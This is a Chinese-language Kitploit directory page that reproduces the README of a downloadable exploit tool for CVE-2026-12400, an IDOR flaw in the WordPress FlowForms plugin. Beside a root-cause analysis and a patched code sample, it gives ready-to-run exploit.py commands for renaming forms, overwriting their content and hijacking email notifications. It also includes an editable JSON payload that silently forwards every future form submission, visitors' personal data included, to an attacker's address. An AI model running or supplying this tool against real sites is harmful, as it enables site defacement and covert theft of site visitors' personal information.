Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-12400-Exploit — 已验证的 WordPress IDOR 漏洞利用程序,针对 CVE-2026-12400;可枚举 FlowForms REST 表单 ID,并修改表单内容或劫持电子邮件通知。 | Kitploit
工具/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试渗透测试学习与教育
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

已验证的 WordPress IDOR 漏洞利用程序,针对 CVE-2026-12400;可枚举 FlowForms REST 表单 ID,并修改表单内容或劫持电子邮件通知。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1122个月前尚未审核
分享

CVE-2026-12400 — FlowForms IDOR:未经授权的表单修改

已认证(贡献者+)的不安全直接对象引用,导致FlowForms ≤ 1.1.1 中任意表单可被修改

漏洞概述

属性值
CVE IDCVE-2026-12400
CVSS 评分4.3 — 中等
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639(通过用户控制密钥绕过授权)
产品FlowForms — WordPress 对话式表单构建器插件
受影响版本所有版本,包括 1.1.1
修复版本在 1.1.2 中修复
研究人员Phantom Hat

技术分析

完整的白盒案例研究,包含源代码分析、输入流跟踪和补丁对比:

📄 CVE-2026-12400 案例研究 — Medium

攻击面

FlowForms 在 flowforms/v1 命名空间下暴露了两个存在漏洞的 REST API 端点:

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

两者都接受用户控制的 {id} 参数(位于 URL 路径中)并修改目标表单的数据——名称、内容、布局、重定向 URL 以及邮件通知收件人。

根本原因

两个有漏洞的路由注册使用了相同的缺陷 permission_callback:

// 更新表单内容/名称
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// 更新表单设置(邮件通知、布局等)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts 是 贡献者 拥有的能力。{id} 参数从未检查与请求用户的所属关系——任何已认证用户都可以针对站点上的任何表单 ID。

攻击流程

攻击者 (贡献者)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) 以贡献者身份认证
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) 收集 REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) 枚举已发布的表单
        │<─ HTTP 200 ───────────────────────│      (任何可访问的表单都是目标)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) 覆盖表单名称/内容
        │       携带攻击载荷 ──────────────>│       ← 未检查所有权
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) 劫持邮件通知
        │       /settings ─────────────────>│       ← 攻击者将收到所有
        │<─ { "success": true } ────────────│         未来的表单提交
        │                                   │
        │   所有 3 个攻击向量均已确认        │  (5) 名称 ✔ 内容 ✔ 邮件 ✔

三个攻击向量

模式端点影响
name/forms/{id}重命名任意表单——破坏、社会工程攻击
content/forms/{id}覆盖布局、欢迎/感谢页面、重定向 URL
email/forms/{id}/settings劫持通知邮件——静默接收所有表单提交

email 模式最为关键。劫持后,受害者联系表单的每次提交——包括访客的个人身份信息、消息和联系方式——都会静默转发到攻击者控制的地址。站点管理员看不到任何变化。


利用工具用法

前提条件

  • Python 3.8+
  • 在目标站点上拥有至少 Contributor 角色的已认证账户

安装

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

操作模式

名称修改

将任意表单重命名为攻击者控制的内容:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

内容修改

覆盖表单布局、页面、重定向 URL 和背景图片:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

邮件通知劫持 (影响最大)

将所有未来的表单提交通知重定向到攻击者控制的地址:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

使用代理 (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

完整参数参考

标志短名描述必需
--url-u目标 WordPress URL✅
--userWordPress 用户名 (Contributor+)✅
--passwordWordPress 密码✅
--id-start-i枚举起始表单 ID✅
--num-forms-n要枚举的表单 ID 数量✅
--exploit攻击模式:name / content / email✅
--proxy-p代理 URL (例如 http://127.0.0.1:8080)❌

自定义载荷

JSON 载荷模板 (NAME_EDIT、CONTENT_EDIT、EMAIL_EDIT) 定义在脚本顶部。在运行前编辑它们以自定义攻击内容——更改通知邮件地址、重定向 URL、背景图片、表单标题等。

# exploit.py 顶部

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← 修改此处
                    ...
                }
            }
        }
    }
}""")

利用工作流程

该利用工具执行三个自动化步骤:

步骤 1 — 认证 以攻击者身份(贡献者)登录,并从 wp-admin/post-new.php 收集有效的 REST API nonce。

步骤 2 — 枚举表单 在指定的 ID 范围内扫描 GET /flowform/{id}。返回 HTTP 200 的 ID 被收集为可访问的目标——这些是站点上任何用户(包括管理员)的已发布表单。

步骤 3 — 利用 根据所选模式,将对应的载荷发送到未受保护的 REST 端点:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

服务器接受请求并应用修改,无需检查所有权。


修复措施

措施详情
打补丁将两个端点上通用的 edit_posts 检查替换为 current_user_can('edit_post', $form_id)——将能力检查绑定到特定的文章对象,从而强制执行 WordPress 的所有权规则
缓解在打补丁之前,如果插件处于激活状态,请限制 Contributor 和 Author 角色

安全实现

// 有漏洞——两个端点
'permission_callback' => fn() => current_user_can('edit_posts'),

// 安全(已修复)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

参考

  • CWE-639 — 通过用户控制密钥绕过授权
  • register_rest_route() — WordPress 开发者文档
  • current_user_can() — WordPress 开发者文档
  • FlowForms 插件 — WordPress.org

项目结构

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # 精简利用工具,提供丰富 UI(3 种模式)
├── requirements.txt            # Python 依赖
└── README.md                   # 本文件

免责声明

下载工具